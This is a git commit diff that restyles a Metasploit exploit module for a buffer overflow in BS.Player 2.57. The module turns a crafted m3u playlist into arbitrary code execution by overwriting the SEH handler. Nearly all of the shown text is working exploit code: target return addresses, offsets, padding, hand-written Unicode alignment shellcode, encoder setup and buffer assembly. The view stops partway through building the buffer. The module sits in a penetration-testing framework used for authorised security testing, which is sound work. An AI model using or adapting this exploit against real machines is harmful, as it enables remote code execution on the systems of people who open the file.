Better MSF style compliance
This commit is contained in:
sinn3r
parent
cfca791480
commit
2e8122dc88
|
|
@ -1,7 +1,3 @@
|
|||
##
|
||||
# $Id: $
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
|
|
@ -19,58 +15,68 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'BS.Player 2.57 Buffer Overflow Exploit (Unicode SEH)',
|
||||
'Description' => %q{
|
||||
'Name' => 'BS.Player 2.57 Buffer Overflow Exploit (Unicode SEH)',
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow in BS.Player 2.57. When
|
||||
the playlist import is used to import a specially crafted m3u file,
|
||||
a buffer overflow occurs allowing arbitrary code execution.
|
||||
the playlist import is used to import a specially crafted m3u file,
|
||||
a buffer overflow occurs allowing arbitrary code execution.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'C4SS!0 G0M3S ', # Original Exploit
|
||||
'Chris Gabriel', # MSF Module
|
||||
#Greets: Corelan team for mona.py & awesome tutorials
|
||||
],
|
||||
'References' =>
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.exploit-db.com/exploits/15934/' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'process',
|
||||
#'InitialAutoRunScript' => 'migrate -f',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2000,
|
||||
'BadChars' => "\x00\x0a\x0d\x1a\x80",
|
||||
'DisableNops' => true,
|
||||
'Space' => 2000,
|
||||
'BadChars' => "\x00\x0a\x0d\x1a\x80",
|
||||
'DisableNops' => true,
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
|
||||
'Targets' =>
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP',
|
||||
{
|
||||
'Ret' => "\x2f\x49",
|
||||
'Offset' => 4102
|
||||
# pop ecx # pop ebp # ret 0c
|
||||
# ASLR: False, Rebase: False, SafeSEH: False
|
||||
# v2.5.7.1051 (bsplayer.exe)
|
||||
'Ret' => "\x2f\x49",
|
||||
'Offset' => 4102,
|
||||
'Padding' => 1879
|
||||
}
|
||||
], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe)
|
||||
|
||||
],
|
||||
[ 'Windows 7',
|
||||
{
|
||||
'Ret' => "\x2f\x49",
|
||||
'Offset' => 4102
|
||||
# pop ecx # pop ebp # ret 0c
|
||||
# ASLR: False, Rebase: False, SafeSEH: False
|
||||
# v2.5.7.1051 (bsplayer.exe)
|
||||
'Ret' => "\x2f\x49",
|
||||
'Offset' => 4102,
|
||||
'Padding' => 1931
|
||||
}
|
||||
], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe)
|
||||
],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Jan 07 2010',
|
||||
'DefaultTarget' => 0))
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Jan 07 2010',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),], self.class)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -78,50 +84,44 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
nseh = "\x61\x42"
|
||||
|
||||
align = "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x50" # PUSH EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\xc3" # RET
|
||||
|
||||
if target == targets[0] then
|
||||
padding = rand_text_alpha_lower(1879)
|
||||
elsif target == targets[1] then
|
||||
padding = rand_text_alpha_lower(1931)
|
||||
end
|
||||
align = ''
|
||||
align << "\x58" # POP EAX
|
||||
align << "\x6d" # PAD
|
||||
align << "\x58" # POP EAX
|
||||
align << "\x6d" # PAD
|
||||
align << "\x58" # POP EAX
|
||||
align << "\x6d" # PAD
|
||||
align << "\x58" # POP EAX
|
||||
align << "\x6d" # PAD
|
||||
align << "\x58" # POP EAX
|
||||
align << "\x6d" # PAD
|
||||
align << "\x58" # POP EAX
|
||||
align << "\x6d" # PAD
|
||||
align << "\x58" # POP EAX
|
||||
align << "\x6d" # PAD
|
||||
align << "\x58" # POP EAX
|
||||
align << "\x6d" # PAD
|
||||
align << "\x58" # POP EAX
|
||||
align << "\x6d" # PAD
|
||||
align << "\x58" # POP EAX
|
||||
align << "\x6d" # PAD
|
||||
align << "\x58" # POP EAX
|
||||
align << "\x6d" # PAD
|
||||
align << "\x58" # POP EAX
|
||||
align << "\x6d" # PAD
|
||||
align << "\x58" # POP EAX
|
||||
align << "\x6d" # PAD
|
||||
align << "\x50" # PUSH EAX
|
||||
align << "\x6d" # PAD
|
||||
align << "\xc3" # RET
|
||||
|
||||
enc = framework.encoders.create('x86/unicode_mixed')
|
||||
|
||||
register_to_align_to = "EAX"
|
||||
|
||||
enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to })
|
||||
|
||||
unicodepayload = enc.encode(payload.encoded, nil, nil, platform)
|
||||
|
||||
|
||||
padding = rand_text_alpha_lower(target['Padding'])
|
||||
|
||||
buffer = "http://"
|
||||
buffer << rand_text_alpha_lower(target['Offset'])
|
||||
buffer << nseh
|
||||
|
|
|
|||
Loading…
Reference in New Issue